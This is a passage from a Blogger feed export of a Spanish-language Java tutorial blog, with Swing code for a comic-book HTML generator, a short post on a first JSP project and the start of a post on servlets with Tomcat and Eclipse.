java.awt.event.KeyEvent.VK_INSERT) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;//nuevo.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;mOri.addRow(new String[] {""});&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setSize(getWidth(), getHeight()+16);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(getWidth()-25, 21 + 16*(tOri.getRowCount())));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(e.getKeyCode() == java.awt.event.KeyEvent.VK_DELETE) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;//eliminar.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;do {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;mOri.removeRow(tOri.getSelectedRow());&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;setSize(getWidth(), getHeight()-16);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(getWidth()-25, 21 + 16*(tOri.getRowCount())));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;} while (tOri.getSelectedRowCount() != 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;if (e.getKeyCode() == java.awt.event.KeyEvent.VK_ENTER) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indice = 0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;do {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;String origen = tOri.getValueAt(tOri.getSelectedRows()[indice], 0).toString();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;if (!origen.contains("[%i]") &amp;amp;&amp;amp; !origen.equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;         &lt;/span&gt;caracter = origen.length();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;         &lt;/span&gt;for(int c = origen.length()-1; c &amp;gt; 0 ; c--) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;          &lt;/span&gt;if(origen.charAt(c) == '.') {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;           &lt;/span&gt;caracter = c;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;           &lt;/span&gt;for( c = caracter-1; c &amp;gt; 0 ; c--) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;            &lt;/span&gt;if(origen.charAt(c) &amp;lt; '0' || origen.charAt(c) &amp;gt; '9') {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;             &lt;/span&gt;origen = (origen.substring(0, c+1) + "[%i]"&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;               &lt;/span&gt;+ origen.substring(caracter, origen.length()));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;             &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;            &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;           &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;          &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;         &lt;/span&gt;}&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if(!origen.startsWith("http") &amp;amp;&amp;amp; !origen.equals("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;         &lt;/span&gt;origen = ("http://"+origen);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tOri.setValueAt(origen, tOri.getSelectedRows()[indice], 0);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;indice++;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;} while(tOri.getSelectedRows().length &amp;gt;= indice);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;}&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (Exception exception) {}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;origen = new JTextField();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;origen.addKeyListener(new java.awt.event.KeyAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyPressed(java.awt.event.KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (e.getKeyCode() == java.awt.event.KeyEvent.VK_INSERT) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;try {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indice = origen.getSelectedText().length();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} catch (Exception exc) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indice = 0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;origen.setText(origen.getText().substring(0, origen.getCaretPosition()) + "[%i]"&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt; &amp;nbsp;+ origen.getText().substring(origen.getCaretPosition() + indice, origen.getText().length()));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;(tOri.getColumnModel().getColumn(0)).setCellEditor(new javax.swing.DefaultCellEditor(origen));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(scroll);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private void initDirectorio() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setSize(550, 500); chooser = new javax.swing.JFileChooser() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void approveSelection() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (this.getSelectedFile().isDirectory()) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;origen.setText(this.getSelectedFile().getAbsolutePath());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;titulo.setText(this.getSelectedFile().getName());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;origen.setText(this.getSelectedFile().getParentFile().getAbsolutePath());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;titulo.setText(this.getSelectedFile().getParentFile().getName());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void cancelSelection() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;origen.setText("");&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;titulo.setText("");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;chooser.setMultiSelectionEnabled(false);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;//chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;chooser.setFileFilter(new javax.swing.filechooser.FileNameExtensionFilter("JPEG, JPG, PNG, BMP", "jpeg", "jpg", "png", "bmp"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;chooser.setPreferredSize(new java.awt.Dimension(515, 330));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll = new JScrollPane(chooser);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(525, 340));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(scroll);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(new javax.swing.JLabel("Ruta Origen"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;origen = new JTextField();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;origen.setPreferredSize(new java.awt.Dimension(525, 20));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(origen);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;origen.setEnabled(false);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void paint(java.awt.Graphics g) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(this.getWidth() - 25,scroll.getHeight()));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;//btnAccion.setPreferredSize(new java.awt.Dimension(this.getWidth() - 30, 23));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;super.paint(g);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Pueden descargar el proyecto completo desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/2O6VER7U/JComicBook.rar"&gt;aquí&lt;/a&gt;, se incluyen fuentes,&amp;nbsp;imágenes&amp;nbsp;y un ejemplo de como queda cuando se genera el html.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-6703621839916627047?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/6703621839916627047/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/comic-book-version-final.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6703621839916627047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6703621839916627047'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/comic-book-version-final.html' title='Cómic Book, Version Final'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-6FKJ7kIuHhc/Tw46XJ9vLPI/AAAAAAAAAjY/KPQ6aTkuZ_M/s72-c/JComicBook++1-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-6693274659983671462</id><published>2012-01-09T23:07:00.000-05:00</published><updated>2012-01-29T21:55:35.710-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jsp'/><category scheme='http://www.blogger.com/atom/ns#' term='paginas dinamicas'/><category scheme='http://www.blogger.com/atom/ns#' term='java web'/><title type='text'>Nuestro Primer JSP</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Nuestro Primer JSP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hoy comenzamos con esta nueva etapa, esperemos nos lleve por un buen camino hacia mas conocimiento, veremos como podemos interactuar con una pagina&amp;nbsp;dinámica&amp;nbsp;para registrar programas, profesores, etc, para armar un horario, todo gracias a Java por medio de JSP.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-6mnRFOKLuFA/Twu4KZYCbhI/AAAAAAAAAjA/RYOCnxJkTHo/s1600/java+zone+-+java+web+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="247" src="http://4.bp.blogspot.com/-6mnRFOKLuFA/Twu4KZYCbhI/AAAAAAAAAjA/RYOCnxJkTHo/s400/java+zone+-+java+web+1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-D7NO28mnu0M/Twu4MISCa8I/AAAAAAAAAjI/HxVEJkBmCDQ/s1600/java+zone+-+java+web+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://4.bp.blogspot.com/-D7NO28mnu0M/Twu4MISCa8I/AAAAAAAAAjI/HxVEJkBmCDQ/s400/java+zone+-+java+web+2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-eiVRV4hkdBw/Twu4MTkoK0I/AAAAAAAAAjQ/Do8TBUFEmXU/s1600/java+zone+-+java+web+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://4.bp.blogspot.com/-eiVRV4hkdBw/Twu4MTkoK0I/AAAAAAAAAjQ/Do8TBUFEmXU/s400/java+zone+-+java+web+3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Lamentablemente el&amp;nbsp;código&amp;nbsp;es bastante extenso, pronto publicare una pagina donde&amp;nbsp;podrán&amp;nbsp;leer el&amp;nbsp;código&amp;nbsp;fuente, y ademas&amp;nbsp;podrán&amp;nbsp;interactuar con la pagina y probarla. Para esta&amp;nbsp;ocasión&amp;nbsp;se uso un archivo de Access como base de datos solo por&amp;nbsp;cuestión&amp;nbsp;de rapidez.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/EWDDRBQF/PrimerJSP.rar"&gt;aquí&lt;/a&gt;, para abrir el proyecto deben crear un proyecto y luego importar el archivo war y listo. Incluyo la base de datos junto con el proyecto.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-6693274659983671462?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/6693274659983671462/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/nuestro-primer-jsp.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6693274659983671462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6693274659983671462'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/nuestro-primer-jsp.html' title='Nuestro Primer JSP'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-6mnRFOKLuFA/Twu4KZYCbhI/AAAAAAAAAjA/RYOCnxJkTHo/s72-c/java+zone+-+java+web+1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-5147419452251327295</id><published>2012-01-03T21:58:00.001-05:00</published><updated>2012-01-03T21:58:55.308-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java EE'/><category scheme='http://www.blogger.com/atom/ns#' term='java web'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><category scheme='http://www.blogger.com/atom/ns#' term='Tomcat'/><category scheme='http://www.blogger.com/atom/ns#' term='servlets'/><title type='text'>Java Web, Servlets</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Java Web, Servlets&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Bueno despues de unas vacaciones, estamos devuelta, ahora con temas nuevos, vamos a ver que son como se usan y en que nos benefician el uso de los llamados SERVLETS.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Comenzaremos explicando que para el uso de servlets se requiere de los siguientes componentes:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Java EE no Java SE como lo&amp;nbsp;veníamos&amp;nbsp;haciendo.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Un contenedor de Aplicaciones como Tomcat, GlassFish, etc. En nuestro caso usaremos Tomcat.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Un IDE para el desarrollo, seguiremos con Eclipse.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Un navegador, a su gusto, nosotros usamos Google Chrome y Firefox.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Bueno comenzamos con descargar e instalar la version Java EE, e igualmente bajaremos la&amp;nbsp;versión&amp;nbsp;binaria de Tomcat, para poder añadirla al proyecto con la ayuda de Eclipse, para que Eclipse se encargue de montar el servidor de aplicaciones para poder mostrar nuestros proyectos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En eclipse debemos cambiarnos de perspectiva a la Java EE, de aqui en adelante crearemos proyectos web&amp;nbsp;dinámicos, con este tipo de proyecto es que se trabajan los Servlets.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Fs3yFLJLRB0/TwO-8ZwttgI/AAAAAAAAAh0/5a5X-nVVMEk/s1600/Java+Zone+-+Java+Web+1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://4.bp.blogspot.com/-Fs3yFLJLRB0/TwO-8ZwttgI/AAAAAAAAAh0/5a5X-nVVMEk/s320/Java+Zone+-+Java+Web+1.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-e9RZ-itMY5c/TwO_Pg05ODI/AAAAAAAAAiA/Bqiwa8Fi0NQ/s1600/Java+Zone+-+Java+Web+2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://1.bp.blogspot.com/-e9RZ-itMY5c/TwO_Pg05ODI/AAAAAAAAAiA/Bqiwa8Fi0NQ/s320/Java+Zone+-+Java+Web+2.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Luego procedemos a añadir el servidor de la siguiente manera.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-9qjBa8oxsMc/TwO_Un5PvjI/AAAAAAAAAiM/qLMY0OMLGuk/s1600/Java+Zone+-+Java+Web+3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://4.bp.blogspot.com/-9qjBa8oxsMc/TwO_Un5PvjI/AAAAAAAAAiM/qLMY0OMLGuk/s320/Java+Zone+-+Java+Web+3.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-B_-s7MTx3TE/TwO_XGQBWVI/AAAAAAAAAiU/3mBJNi0Krak/s1600/Java+Zone+-+Java+Web+4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://2.bp.blogspot.com/-B_-s7MTx3TE/TwO_XGQBWVI/AAAAAAAAAiU/3mBJNi0Krak/s320/Java+Zone+-+Java+Web+4.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-PAEVP5TMVds/TwO_YJ6ZUII/AAAAAAAAAic/PdpDuqghfxE/s1600/Java+Zone+-+Java+Web+6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" 